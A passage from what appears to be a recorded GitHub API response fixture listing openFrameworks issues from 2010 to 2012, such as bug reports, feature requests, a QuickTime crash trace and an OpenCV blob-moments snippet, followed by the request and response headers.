useful?\nhttp://www.openframeworks.cc/forum/viewtopic.php?f=25&t=4500\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/224","comments":1,"milestone":null,"number":224,"html_url":"https://github.com/openframeworks/openFrameworks/issues/224","assignee":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"title":"gaussian noise","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize","color":"65a300"}],"closed_at":null,"created_at":"2010-08-26T10:21:24Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"id":290973,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-10-17T13:58:53Z","body":"ofxOsc causes a memory access violation in VS2008, when you use sendMessage(ofxOscMessage) from within a class.\r\nNo error when you run that from main ofApp","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/214","comments":1,"milestone":null,"number":214,"html_url":"https://github.com/openframeworks/openFrameworks/issues/214","assignee":null,"title":"ofxOsc memory access violation. namespace issue?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2010-08-04T05:59:22Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294},"id":268332,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-14T15:12:26Z","body":"e) get arturo's script to work, or rewrite a new one to just clobber a given directory (and not pull from git, etc as it's doing now). \r\n\r\ntheo - might be good to have two scripts?\r\n1) to pull from git \r\n2) to remove everything not related to a platform - or maybe better just copies the files into a folder for that platform. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/199","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":199,"html_url":"https://github.com/openframeworks/openFrameworks/issues/199","assignee":null,"title":"script that doesn't pull everything from git","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2010-06-01T13:28:54Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":211418,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2010-05-25T14:54:52Z","body":"\r\nas per: \r\n\r\nhttp://www.openframeworks.cc/forum/viewtopic.php?f=8&t=3962&p=20661#p20661\r\n\r\nwe should explain how to use it properly. \r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/194","comments":0,"milestone":null,"number":194,"html_url":"https://github.com/openframeworks/openFrameworks/issues/194","assignee":null,"title":"ofGetAppPtr documentation is wrong ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/documentation","name":"documentation","color":"cccc29"}],"closed_at":null,"created_at":"2010-05-25T14:54:52Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","id":142897},"id":205935,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-12-05T21:58:22Z","body":"http://www.glfw.org/release-2.6.html","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/193","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":193,"html_url":"https://github.com/openframeworks/openFrameworks/issues/193","assignee":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"title":"look at glfw - just got updated","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2010-05-23T21:04:25Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":204247,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-12-02T19:20:16Z","body":"I had the L.A.S.E.R. tag software up and running great on my new MacBook Pro but recently my computer did a software update and now something is wrong and I can't properly use the program. I have snow leopard 10.6.3 OS. I'm not totally sure if it was the auto update that caused the issue but it seems like it stopped working after the update. Below I listed the suspected updates. Seems weird to me 2 digital camera RAW updates.\r\n\r\n3/27/10 Digital Camera RAW update 2.7\r\n3/27/10 Safari 4.0.5\r\n3/27/10 Digital Camera RAW update 3.1\r\n3/27/10 iMovie update 8.0.6\r\n\r\n0 com.apple.QuickTime \t0x9408e179 QTMLGrabMutex + 18\r\n1 com.apple.QuickTime \t0x9421b6a3 QTWorkContextCopyForMediaContextID + 28\r\n2 ...uickTimeStreaming.component\t0x14f77c15 HTTPDhlr_CheckForFatalError + 254\r\n3 ...uickTimeStreaming.component\t0x14f77cc6 HTTPDhlr_ReadSYNC + 165\r\n4 ...uickTimeStreaming.component\t0x14f7ab01 HTTPDataHandler_ScheduleData64 + 452\r\n5 ...ple.CoreServices.CarbonCore\t0x949a2d05 callComponentStorage_4444444 + 63\r\n6 ...ple.CoreServices.CarbonCore\t0x949976f0 CallComponentFunctionCommonWithStorage(char**, ComponentParameters*, long (*)(), unsigned long) + 54\r\n7 ...uickTimeStreaming.component\t0x14f784c7 HTTPDataHandler_ComponentDispatch + 110\r\n8 ...ple.CoreServices.CarbonCore\t0x9498fd87 CallComponentDispatch + 29\r\n9 com.apple.QuickTime \t0x94093540 DataHScheduleData64 + 73\r\n10 com.apple.QuickTime \t0x940b5704 NewMovieFromDataRefPriv_priv + 8296\r\n11 com.apple.QuickTime \t0x9419e613 NewMovieFromDataRef_priv + 54\r\n12 com.apple.QuickTime \t0x942fb95e NewMovieFromDataRef + 52\r\n13 com.yourcompany.openFrameworks\t0x0000aa2a createMovieFromURL(std::string, MovieType**&) + 112\r\n14 com.yourcompany.openFrameworks\t0x0000abe2 ofVideoPlayer::loadMovie(std::string) + 182\r\n15 com.yourcompany.openFrameworks\t0x0002fe03 appController::setup() + 2169\r\n16 com.yourcompany.openFrameworks\t0x00002864 ofRunApp(ofSimpleApp*) + 170\r\n17 com.yourcompany.openFrameworks\t0x0003dc06 main + 90\r\n18 com.yourcompany.openFrameworks\t0x00001da2 _start + 216\r\n19 com.yourcompany.openFrameworks\t0x00001cc9 start + 41","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/182","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":182,"html_url":"https://github.com/openframeworks/openFrameworks/issues/182","assignee":null,"title":"ofVideoPlayer - createMovieFromURL broken in 10.6.3 with specific updates?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2010-04-15T16:20:25Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":172424,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2010-04-14T15:48:19Z","body":"can we add moments to the blob. \n\nadd CvMoments moments to blob class\n\nand in ofxCvContourFinder.cpp line 119\n\n\t blobs[i].moments.m00 = myMoments->m00;\n\t\tblobs[i].moments.m10 = myMoments->m10;\n\t\tblobs[i].moments.m01 = myMoments->m01;\n\t\tblobs[i].moments.m20 = myMoments->m20;\n\t\tblobs[i].moments.m11 = myMoments->m11;\n\t\tblobs[i].moments.m02 = myMoments->m02;\n\t\tblobs[i].moments.m30 = myMoments->m30;\n\t\tblobs[i].moments.m21 = myMoments->m21;\n\t\tblobs[i].moments.m12 = myMoments->m12;\n\t\tblobs[i].moments.m03 = myMoments->m03;\n\t\t\n\t\tblobs[i].moments.mu20 = myMoments->mu20;\n\t\tblobs[i].moments.mu11 = myMoments->mu11;\n\t\tblobs[i].moments.mu02 = myMoments->mu02;\n\t\tblobs[i].moments.mu30 = myMoments->mu30;\n\t\tblobs[i].moments.mu21 = myMoments->mu21;\n\t\tblobs[i].moments.mu12 = myMoments->mu12;\n\t\tblobs[i].moments.mu03 = myMoments->mu03;\n\n\nthis is good for finding the angle and other info about the contour.\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/181","comments":2,"milestone":null,"number":181,"html_url":"https://github.com/openframeworks/openFrameworks/issues/181","assignee":null,"title":"ofxCvBlobs","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2010-04-14T15:42:22Z","state":"open","user":{"url":"https://api.github.com/users/vanderlin","avatar_url":"https://secure.gravatar.com/avatar/96c91dba0113ea847ee43b0961d24b3a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"96c91dba0113ea847ee43b0961d24b3a","login":"vanderlin","id":149997},"id":171615,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-05-29T15:04:04Z","body":"Buffer is 512 but should be 276 ( or something )\r\nSetting it to 256 says the buffer size should be 176 ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/178","comments":2,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":178,"html_url":"https://github.com/openframeworks/openFrameworks/issues/178","assignee":null,"title":"iPhone sound bug with 1st gen ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2010-04-11T10:18:58Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":169176,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-12-02T19:18:14Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/175","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":175,"html_url":"https://github.com/openframeworks/openFrameworks/issues/175","assignee":null,"title":"bring examples up to date - make sexy","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"}],"closed_at":null,"created_at":"2010-04-06T19:44:04Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":166214,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-12-02T19:14:03Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/174","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":174,"html_url":"https://github.com/openframeworks/openFrameworks/issues/174","assignee":null,"title":"vertical sync on for mac by default","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2010-04-06T19:43:21Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":166212,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-12-05T21:58:10Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/173","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":173,"html_url":"https://github.com/openframeworks/openFrameworks/issues/173","assignee":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"title":"ofAlphaBlending default on","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2010-04-06T19:42:34Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":166211,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-12-05T21:57:50Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/172","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":172,"html_url":"https://github.com/openframeworks/openFrameworks/issues/172","assignee":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"title":"rgb + alpha -> blit to texture","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2010-04-06T19:40:28Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":166209,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-12-05T21:57:36Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/171","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":171,"html_url":"https://github.com/openframeworks/openFrameworks/issues/171","assignee":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"title":"sexy shader example","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"}],"closed_at":null,"created_at":"2010-04-06T19:38:51Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":166208,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-03T19:40:33Z","body":"can we do it?\r\nwe need cross platform:\r\nplayback \r\nstreaming\r\npitch\r\npan \r\nmultiplay \r\n\r\nfor us to be compatible with what exists. \r\nOpenAL seems like the best choice.\r\nWhat other options are there?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/167","comments":5,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","number":8,"title":"0080 Release","due_on":"2013-01-01T08:00:00Z","closed_issues":0,"open_issues":3,"created_at":"2012-02-25T01:34:28Z","state":"open","description":"","id":88731},"number":167,"html_url":"https://github.com/openframeworks/openFrameworks/issues/167","assignee":{"url":"https://api.github.com/users/damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366},"title":"replace fmod","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"}],"closed_at":null,"created_at":"2010-04-06T12:13:31Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":165898,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-12-05T21:56:41Z","body":"i have this working for 3d with selection buffer although it's meant to be slow i haven't had any problems","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/160","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":160,"html_url":"https://github.com/openframeworks/openFrameworks/issues/160","assignee":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"title":"ofIsUnderMouse?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2010-04-05T21:39:19Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"id":165537,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-12-05T21:54:57Z","body":"Theo: I have this code uses the selection buffer. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/153","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":153,"html_url":"https://github.com/openframeworks/openFrameworks/issues/153","assignee":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"title":"ofIsOnScreen - ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2010-04-05T18:49:10Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":165409,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=14 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4930'), ('content-length', '13008'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; 